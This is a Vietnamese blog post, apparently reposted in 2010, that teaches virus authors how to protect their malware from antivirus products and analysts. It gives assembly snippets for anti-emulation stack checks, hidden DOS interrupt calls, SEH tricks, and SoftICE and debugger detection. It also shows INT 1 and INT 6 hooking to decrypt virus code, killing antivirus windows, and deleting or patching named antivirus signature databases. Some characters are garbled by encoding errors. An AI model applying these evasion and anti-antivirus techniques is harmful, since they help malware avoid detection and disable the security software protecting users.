Monday, July 19, 2010

Kỹ thuật lập trình virus, cho người viết virus và phòng chống

Nguồn: http://my.opera.com/The_Wind1/blog/index.dml/tag/Kien%20thuc%20co%20ban

Các newbie xem cũng được nhưng bài này không dành cho newbie. Đây không phải khái
niêm cơ bản, tôi chỉ muốn tổng kết một số kỹ thuật bảo vệ trong môn virus programming
Một chương trình diệt VR (AV) tốt là một AV tìm được nhiều VR. Một VR mạnh
là một VR được bảo vệ. Được bảo vệ có nghĩa là VR có các tính năng
chống phát hiện, chống emulate, chống disassemble, khó theo dõi hành vi. Ở đây tôi
xin đề cập đến một vài kỹ thuật bảo vệ như vậy đã từng được các V-er áp dụng trong virus programming.

Có nhiều cách lắm và rất đa dạng như bất cứ kỹ thuật nào cần đến sức
sáng tạo của con người. Trong phần này tôi sẽ đề cập tới các kỹ thuật chính:
- anti-emulator
- anti-heuristics
- anti-analysis (anti-disasm)
- anti-debug
- anti-monitor
- anti-antivirus (retro)
- anti-bait
Đây là giới thiệu chung nên tôi không đưa hết các code ví dụ. Có thể tôi sẽ
phân tích và đưa ra code ví dụ sâu hơn ở từng kỹ thuật nếu thấy có nhiều
bạn đọc quan tâm. Nếu bạn nào muốn thảo luận sâu hơn về kỹ thuật nào xin liên hệ trực tiếp.

Anti-Emulator bằng các tip-trick đơn giản:
Với phương pháp heuristic analysis các AV sẽ CÓ THỂ phát hiện ra mọi VR, kể cả
các VR chưa từng gặp. Nó làm việc giống như một bộ giải mã, quét và kiểm
tra các đoạn code khả nghi kiểu như các đoạn duyệt APIs, jump to ring-0, làm việc
với *.exe mở và ghi các tệp khả thi (.exe, .dll...). Heuristic analysis là một í
tưởng rất táo bạo tuy nhiên nghe có vẻ ... phi thực tế. Thế nhưng kỹ thuật
này cho đến nay đã có rất nhiều cải tiến và phát triển trong hầu hết các AV
nổi tiếng. Tuy vậy, nhiều AV có các bugs và nhiều khi không nhận các đoạn code
nguy hiểm. Một số gặp khó khăn khi bắt gặp các mã lệnh "hiểm" (undocumented
opcodes) và đa số chúng đều không thể quản lý stack chính các như khi VR chạy
thực. Lợi dụng các đặc điểm này nảy sinh một số tricks để qua mặt các Emulator như:
- Kiểm tra stack:
mov edx, esp
push cs
pop eax
cmp esp, edx
jne emul_present ; Có AV emulator
Đoạn code trên hoàn toàn vô hại thậm chí hơi ngớ ngẩn nếu bạn xem qua nhưng
trong thực tế chương trình của ban phát hiện được ngay có kẻ can thiệp vào
stack của ban trong khi chạy, vậy chương trình của bạn không chạy thực mà chỉ
đang trong chế độ emulator
- Tương tự thế bạn có thể lỻ?a AV bằng vài lệnh RETF (rất nhiều VR nội có
dùng)
- Sử dụng các opcode lạ (undocumeented opcodes) của processor như SALC, BPICE. Vô hại
với bạn nhưng khó hiểu với AV
......

Anti-Heuristics bằng kỹ thuật cao cấp:
Như vậy anti-emulator là đánh vào chỗ hổng của các giải thuật heuristic scanners.
Các AV có thể khắc phục nhưng rất khó khăn đặc biệt nếu bạn dùng vài kỹ
thuật cao hơn như SEH. Tạo ra lỗi giả rồi nhảy đến đoạn bẫy lỗi. Tôi
viết VR cách đây lâu rồi nên các kỹ thuậu mới trên win có khi không cập nhật
bằng các bác nữa. Tôi sẽ đi sâu vào DOS hơn một chút.
Trước kia trên DOS tôi thích sử dụng vài kỹ thuật bẫy ngắt với:
- Int 0 (divide by zero). Chỉ cần m᡻?t phép chia cho 0, bạn sẽ nhảy ngay đến code
mới mà emulator không theo vết được (ta có thể âm thầm descrypt ở đây)
- Dấu code gọi ngắt:
mov ax, 3D02h-key
add ax, key
int 21h ;Tránh để lộ thao tác đọc file
- Với 386/486 ngày xưa có thể cù?ng queue fetch (xin lỗi vì tôi hơi hoài cổ một
chút):
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop
code này ngày nay không dùng được. Bạn sẽ nghĩ chương trình sẽ kết thúc vì
lệnh int 20h (20CDh) ư? Không đâu! với 386/486 code chạy vẫn là nop
Thế nhưng ngày nay kỹ thuật này biến thể một chút vì các CPU pentium không có
queue fetch nhưng các emulator phát triển từ xưa vẫn nghĩ là có. Kỹ thuật đảo
lại là:
mov word ptr [offset prefetch],
prefetch:
int 20h
(sao bạn không cười? tôi có trình khó hiểu quá không nhỉ? )
- Tương tự ngắt int 0. Bạn có tthể bẫy int 1, int 6
Thôi kết thúc DOS. Trở lại win ta có thể dùng:
- Structured Exception Handling (SEH). KKỹ thuật này phổ biến quá rồi ha
- Threads and fibers
- Pentium+, copro, MMX, 3DNow! opcodes ((undocumented opcodes)
- Kỹ thuật đa hình metamorphism
- Nhảy bằng Callbacks
- .......
Chắc mọi người biết cả rồi vì tôi mới trở lại với "Nghệ thuật hắc ám"
gần nên kiến thức trên win không mới lắm.

Anti-Analysis
Ở phần này tôi muốn nói về chống disassemblers. Ai cũng biết mấy thằng
disassemblers thông dụng như IDA, Sourcer hay win32dasm. Nếu bạn là người xây dựng
chương trình disassemblers bạn sẽ làm thể nào. Tất nhiên dễ nhất là bắt đầu
từ đầu chương trình, dasm tuần tự. Nếu code tuần tự như tiến ta có kết
quả đẹp nhất. Nếu không sau lần chạy thứ nhất ta sẽ hiệu chỉnh lại code
theo các lệnh nhảy và call... Thử chạy sourcer, bạn sẽ thấy điểm yếu nhất
của disassemblers là rất, rất khó xử lý lệnh call và jump. Vậy phương pháp của
V-er là:
- Mã hoá càng nhiều càng tốt
- Sử dụng call với relative offsett kiểu
call label
gdelta: db 0b8h ;MOV opcode
label: pop ebp
...
mov eax, [ebp + variable - gdelta]
(Cách này có ở đa số VR rồi)
- Nhảy vào ... giữa mã lệnh:
jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h
Bạn có thể thấy ngay thực ra đây không phải lệnh mov mà lệnh ta là 0fcebfa90h

- Chèn các mã kiểu (db 0b8h) vào nnhiều nơi sau các lệnh ret, jmp, ...
- Patch code runtime (tương tự kiể?u queue fetch ở trên
- ...

Anti-Debug
Các AVer đã tóm được một mẫu VR của bạn. Hix.. bây giờ thì quá khó. Tuy vậy
ta cũng có thể chống đỡ trong ... tuyệt vọng. Với Anti-Debug, nếu AVer không cao
thủ họ mới nghi ngờ thôi thì cũng có thể bỏ cuộc. Vả lại có chết cũng cho
oanh liệt, gây khó khăn chứ. Nếu không disassemble được người diệt sẽ debug.
Cách thông thường là tìm xem có phần mềm debugger thông dụng kiểu softice thì
chuồn lẹ. Các cách nhận biết debugger có thể là:
- Gọi luôn API của debugger
- Kiểm tra debugger context
- Sử dụng SEH (xem trên)
- Gọi VxD service (Ring-0 only)
- Kiểm tra softice trên bộ nhớ b᡺?ng CreateFileA
- Chọc vào các thanh ghi debug (Ringg-0 only)

Anti-Monitor
Cũng vậy thôi, ta tìm xem có thằng AV nào thông dụng đang chạy trên bộ nhớ thì
chuồn. Có thể dùng hàm API FindWindowA mà tìm. Nếu thấy thịt nó luôn bằng cách
sử PostMessageA đến window handle của nó

Anti-Antivirus
Chủ động tìm database của AV trên đĩa mà thịt (có thể AV sẽ không chạy
được nữa). Hay nhất là patch được database (AV chạy bình thường nhưng không
tìm được VR nữa. Một số db thông dụng:
*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file

Anti-Bait
Chọn file mà lây. Tránh các AV, tránh mấy chương trình thông dụng kiểu
winword.exe. Như ngày xưa trên DOS ta hay tránh command.com í

Tôi sẽ đưa thêm một số ví dụ về từng kỹ thuật đã đề cập phía trên

Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây
là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi
bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công
cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý
hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng
nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được
các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp
nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên
tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh
nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.

- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present
Gọi hàm API Win98/NT kiểm tra API level debugger

- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present
- Sử dụng SEH
call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)

mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]

- Gọi VxD service (Ring-0 only)
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present

- Kiểm tra softice trên bộ nhớ b᡺?ng CreateFileA
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT
- Chọc vào các thanh ghi debug (Ringg-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0


Anti-Heuristics bằng bẫy ngắt trên DOS:

INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có
thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có
một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không
được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã
hoá VR:

mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2501h ; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h

db 0F1h ; Giải mã VR

mov ax, 2501h ;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h


[...]

int1_handler:
;...Giải mã/ mã hoá VR here...
iret

Hoặc ta có thể làm mất vết bằng cách:
[...]

db 0F1h ;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h ;Thực ra chẳng bao giờ quit

;---- VR tiếp tục bình thường

[...]

int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret

INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các
AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h

mov ax, 3506h ;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2506h ;Bẫy ngắt
mov dx, offset int6_handler
int 21h

dw 0FFFFh ;Tự tạo lỗi

mov ax, 2506h ;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h

[...]

int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2 ;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret

Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên.

No comments:

Router Packet Networking

Đây là video ngắn khá hay, mô tả đường đi của một gói tin trên Mạng Internet.